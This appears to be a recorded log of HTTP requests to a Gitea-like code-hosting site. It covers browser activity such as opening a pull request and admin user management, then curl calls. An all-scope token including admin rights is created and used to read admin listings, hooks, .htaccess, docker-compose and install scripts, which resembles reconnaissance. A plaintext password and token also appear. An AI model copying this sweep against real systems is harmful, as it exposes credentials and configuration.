+{"method": "GET", "target": "/alice/tools/settings/units", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/migrate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=890deb73026afc5f; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 764", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaGATihSdXZHYz0ae", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nMove to python3\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nPorts the scripts.\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"redirect_after_creation\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae--\r\n"}
+{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 37", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fpulls%2F2"}
+{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues/2/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/pull-request-merge-form.08cfd3a0.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/pull-request-merge-form.8413f096.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls/2/commits", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls/2/files", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/diff-commit-selector.17df8f29.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/diff-commit-selector.302a470f.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "name=alice&full_name=Alice+Example&pronouns=&biography=Writes+build+tools.&website=https%3A%2F%2Fexample.com&location=Springfield&visibility=0"}
+{"method": "POST", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 185", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&login_type=0-0&visibility=0&login_name=&user_name=carol&email=carol%40example.com&password=Qe5-tVb7-Mn3c-Kj8y&must_change_password=on"}
+{"method": "GET", "target": "/admin/users/4", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2B%2522carol%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
+{"method": "GET", "target": "/avatars/d4766e3f21c67b7c786f012d910fa54f?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/4", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 265", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&user_name=bob&login_type=0-0&visibility=0&login_name=&full_name=Bob+Example&pronouns=&email=bob%40example.com&password=&language=en-US&website=&location=&max_repo_creation=-1&active=on&allow_create_organization=on"}
+{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2Bhas%2Bbeen%2Bupdated."], "body": ""}
+{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 241", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=34fdf904aa90270d; lang=en-US"], "body": "name=build-token&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
+{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 254", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US"], "body": "name=build-token&resource=all&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
+{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US; flash=info%3D518efde244d57864ef12487cdec73aa828e5deaf%26success%3DYour%2Bnew%2Btoken%2Bhas%2Bbeen%2Bgenerated.%2BCopy%2Bit%2Bnow%2Bas%2Bit%2Bwill%2Bnot%2Bbe%2Bshown%2Bagain."], "body": ""}
+{"method": "GET", "target": "/api/v1/version", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/user", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/settings/api", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/issues/search?q=build", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=all&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/branches/python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/tags", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/contents?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/scripts/install-script.sh?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/raw/bin/docker-entrypoint", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/media/src/process.env.d.ts", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?path=scripts/install-script.sh&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?sha=python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/git/trees/main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/collaborators", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/hooks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/admin/orgs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/orgs/acme", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/users/alice/repos", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/notifications", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 68"], "body": "{\"name\":\"bug\",\"color\":\"#ee0701\",\"description\":\"Something is broken\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 83"], "body": "{\"title\":\"Document the python3 setup\",\"body\":\"Say which version the scripts need.\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/comments", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 40"], "body": "{\"body\":\"The setup notes cover it now.\"}"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools/issues/3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 18"], "body": "{\"state\":\"closed\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------c8PTgaGzJM0bzMXgzs4jFA"], "body": "--------------------------c8PTgaGzJM0bzMXgzs4jFA\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------c8PTgaGzJM0bzMXgzs4jFA--\r\n"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets?name=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------8vBtFvaNGea9428ByqN6zh"], "body": "--------------------------8vBtFvaNGea9428ByqN6zh\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------8vBtFvaNGea9428ByqN6zh--\r\n"}
